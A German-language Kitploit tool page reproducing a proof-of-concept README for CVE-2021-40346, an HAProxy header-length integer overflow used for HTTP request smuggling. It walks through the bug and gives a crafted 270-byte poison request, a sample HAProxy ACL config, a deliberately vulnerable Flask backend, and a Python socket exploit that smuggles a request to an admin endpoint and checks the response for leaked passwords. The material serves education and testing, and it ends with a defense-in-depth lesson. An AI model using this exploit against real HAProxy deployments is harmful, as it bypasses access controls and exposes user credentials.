Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-40346 — HTTP Request Smuggling | Kitploit
Tools/GitHubGitHub/boianeduard/cve-2021-40346
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP Request Smuggling

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-40346: HAProxy HTTP Request Smuggling - ACL-Umgehung

Übersicht

Dieses Projekt demonstriert CVE-2021-40346, eine kritische Integer-Overflow-Schwachstelle in HAProxy, die HTTP-Request-Smuggling-Angriffe zur Umgehung von Sicherheitskontrollen ermöglicht.

CVSSv3 Bewertung: 7.5 (Hoch)

Mitwirkende:

  1. Boian Eduard
  2. Borsos Matheas-Roland

Was ist CVE-2021-40346?

CVE-2021-40346 ist eine Integer-Overflow-Schwachstelle in der HTTP-Header-Parsing-Logik von HAProxy. Wenn ein Header-Name 255 Bytes überschreitet, läuft der Längenwert von einem 8-Bit-Feld über, was dazu führt, dass HAProxy den Header während der Weiterleitung der Anfrage falsch interpretiert.

Wie der Angriff funktioniert

Schritt-für-Schritt-Aufschlüsselung

  1. Angreifer sendet: Header-Name = "Content-Length0" + 255×'a' = 270 Bytes

  2. Phase 1 (Anfängliches Parsen):

    • HAProxy liest alle 270 Bytes des Header-Namens
    • Speichert name_length = 270 % 256 = 14 (8-Bit-Überlauf)
    • Das Überlaufbit setzt value_length = 1
    • Liest den legitimen Content-Length: 60-Header und behandelt ihn als Körperlänge
    • Liest 60 Bytes als Anforderungskörper (der die geschmuggelte Anfrage enthält)
  3. Phase 2 (Anfrageweiterleitung):

    • Trifft auf den überlaufenen Header-Block
    • Liest nur die ersten 14 Zeichen: "Content-Length"
    • Liest 1 Zeichen für den Wert (an Position 14): "0"
    • Fügt content-length: 0 zur weitergeleiteten Anfrage hinzu
    • Ignoriert den echten Content-Length: 60-Header (gemäß normaler Logik)
  4. Backend-Verarbeitung:

    • Empfängt content-length: 0 von HAProxy
    • Analysiert POST-Anfrage ohne Körper
    • Behandelt den "Körper" (geschmuggelte GET-Anfrage) als nächste HTTP-Anfrage
    • Verarbeitet die geschmuggelte Anfrage, umgeht alle HAProxy-ACLs

Beispiel des Angriffsablaufs

Umgehung von ACL-Regeln zum Zugriff auf Admin-Endpunkt

Betrachten Sie HAProxy, das mit ACL-Regeln konfiguriert ist, die den Zugriff auf Admin-Routen einschränken:

root@kitploit:~
http-request deny if { path_beg /users/admin }

In unserem PoC verwenden wir eine reguläre Benutzersitzung (alice), um auf das geschützte /users/admin-Endpunkt zuzugreifen, das nur für Administratoren zugänglich sein sollte.

Böswillige Anfrage (Anfrage 1 - Poison):

root@kitploit:~
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Anfrage, die HAProxy weiterleitet:

root@kitploit:~
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Abschlussanfrage (Anfrage 2):

root@kitploit:~
GET / HTTP/1.1
Host: 127.0.0.1:8080

Komplette geschmuggelte Anfrage, die das Backend verarbeitet:

root@kitploit:~
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

Ergebnis:

  1. HAProxy leitet POST / mit content-length: 0 weiter (ACL sieht sichere Route)
  2. Backend verarbeitet POST / (kein Körper) und wartet auf nächste Anfrage
  3. Backend behandelt unvollständige geschmuggelte GET /users/admin als ausstehende Anfrage
  4. Anfrage 2 vervollständigt die geschmuggelte Anfrage
  5. Backend verarbeitet GET /users/admin mit alices Sitzung, umgeht HAProxy-ACL
  6. Antwort mit Admin-Geheimnissen wird an Angreifer zurückgegeben

Proof of Concept

Einrichtung der Testumgebung

HAProxy-Konfiguration (haproxy.cfg)

Die anfällige HAProxy-Instanz ist mit ACL-Regeln konfiguriert, um den Admin-Endpunkt zu schützen:

root@kitploit:~
...
    # ACL to detect admin endpoint access
    acl is_admin_endpoint path_beg /users/admin
    
    # ACL to check for admin session cookie
    acl has_admin_session cook(session) -m beg admin_
    
    # Deny access to admin endpoint if user doesn't have admin session
    http-request deny if is_admin_endpoint !has_admin_session
...

Wichtige Punkte:

  • ACL-Schutz: /users/admin wird blockiert, es sei denn, das Sitzungs-Cookie beginnt mit admin_
  • HTTP Keep-Alive (Standard): HAProxy verwendet standardmäßig den Keep-Alive-Modus und nutzt TCP-Verbindungen zum Backend wieder – dies ist entscheidend für den Angriff, da es mehrere Anfragen auf derselben Verbindung ermöglicht
  • Sitzungsbasierte Zugriffskontrolle: Reguläre Benutzer (Sitzung beginnend mit user_) werden abgewiesen

Backend-Server (Flask)

Der Backend-Server hat drei Benutzer und einen Admin-Endpunkt:

root@kitploit:~
USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... authentication logic ...
    
    # Generate session token with role prefix
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # Returns sensitive data including all user passwords
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"ADMIN PANELAll users with passwords:{rows}"

Sicherheitsmodell:

  • Alice (reguläre Benutzerin) erhält Sitzung: user_a1b2c3d4...
  • Admin erhält Sitzung: admin_a1b2c3d4...
  • HAProxy blockiert Alices Anfragen an /users/admin
  • Fehlkonfiguration des Backends: Der Flask-Server vertraut blind darauf, dass HAProxy bereits die Zugriffskontrolle durchgesetzt hat, und validiert das Sitzungstoken nicht erneut und prüft nicht, ob der Benutzer tatsächlich ein Admin ist, bevor sensible Daten ausgeliefert werden
  • Schwachstelle: HTTP-Smuggle umgeht die HAProxy-ACL-Prüfung, und das Backend hat keine abgestufte Verteidigung

Warum dies funktioniert:

  1. HAProxy sieht die äußere POST /-Anfrage (erlaubt)
  2. HAProxy prüft ACLs auf POST / (keine Admin-Einschränkung)
  3. HAProxy leitet content-length: 0 weiter (aufgrund des Überlauffehlers)
  4. Backend empfängt unvollständige GET /users/admin-Anfrage
  5. Zweite Anfrage vervollständigt sie und umgeht die HAProxy-ACL-Prüfung
  6. Backend liefert blind den Admin-Endpunkt aus – es prüft nie, ob das Sitzungstoken tatsächlich ein Admin-Token ist
  7. Backend verarbeitet GET /users/admin direkt und gibt Passwörter preis

Lektion zur abgestuften Verteidigung: Dies zeigt, warum Backends dem Proxy niemals blind vertrauen sollten. Selbst mit den ACLs von HAProxy sollte das Backend:

  • Das Sitzungstoken selbst parsen und validieren
  • Die Benutzerrolle/-berechtigungen prüfen, bevor sensible Endpunkte bedient werden
  • Eine eigene Autorisierungslogik implementieren (z. B. @require_admin-Dekorator)

Und sich ausschließlich auf die Zugriffskontrolle auf Proxy-Ebene zu verlassen, schafft einen einzelnen Fehlerpunkt.

Wichtige Exploit-Sequenzen

Der PoC demonstriert die Umgehung von HAProxy-ACLs, um unter Verwendung der Sitzung eines regulären Benutzers auf /users/admin zuzugreifen, und zwar in vier wichtigen Schritten:

1. Authentifizierung als regulärer Benutzer

root@kitploit:~
# Login as alice (non-admin user)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()

sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)

# Receive response and extract session token
resp = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    resp += chunk
sock.close()

session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")

Zweck:

  • Ein legitimes Sitzungstoken für den regulären Benutzer (alice) erhalten
  • Diese Sitzung hat normalerweise keinen Zugriff auf den /users/admin-Endpunkt
  • Wir werden diese Sitzung in der geschmuggelten Anfrage verwenden, um ACLs zu umgehen

2. Erstellen der geschmuggelten Anfrage (unvollständig)

root@kitploit:~
# Craft incomplete smuggled request targeting admin endpoint
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"

Wichtige Details:

  • Zielt auf die geschützte Route /users/admin ab
  • Verwendet legitime Benutzersitzung (alice)
  • Endet mit DUMMY:-Header (kein CRLF), um die Anfrage unvollständig zu halten
  • Backend wartet auf weitere Daten, bevor es verarbeitet

3. Erstellen der vergifteten Anfrage (Poison Request)

root@kitploit:~
# Create overflow header (270 bytes = 14 after 8-bit overflow)
overflow_header = "Content-Length0" + ("a" * 255)

# Build complete poison request
poison = (
    f"POST / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"{overflow_header}:\r\n"                    # Triggers integer overflow
    f"Content-Length: {len(smuggled_incomplete)}\r\n"  # Real body length
    f"\r\n"
    f"{smuggled_incomplete}"                     # Smuggled request as "body"
).encode()

Was passiert:

  • Content-Length0aaa... (270 Bytes) läuft auf 14 Bytes über
  • HAProxy Phase 2 liest die ersten 14 Zeichen: "Content-Length"
  • Wert an Position 14: "0"
  • HAProxy leitet weiter: content-length: 0
  • Backend empfängt geschmuggelte GET als ausstehende Anfrage

4. Senden der Anfragen

root@kitploit:~
# Send poison request
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096)  # Receive POST / response

# Send completion request (completes smuggled request)
completion = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"\r\n"
).encode()

sock.sendall(completion)
time.sleep(2)

# Capture the response of the smuggled request
all_data = b""
sock.settimeout(5)
try:
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        all_data += chunk
except:
    pass
sock.close()

# Decode and check for success
text = all_data.decode('utf-8', errors='ignore')

print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)

if "admin_secret" in text:
    print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
    print("🔓 Stolen passwords visible in response above!")
else:
    print("\n⚠️  Check backend logs - smuggling is working but response capture needs adjustment")

Anfrageablauf:

  1. Poison gesendet → Backend puffert unvollständige GET /users/admin unter
  2. Abschluss gesendet → An geschmuggelte Anfrage angehängt, doppeltes CRLF hinzugefügt
  3. Backend verarbeitet → Vollständige GET /users/admin mit alices Sitzung
  4. Antwort erfasst → Alle Daten empfangen und nach UTF-8 dekodiert
  5. Erfolgserkennung → Prüft auf admin_secret-Schlüsselwort in der Antwort
Tool herunterladen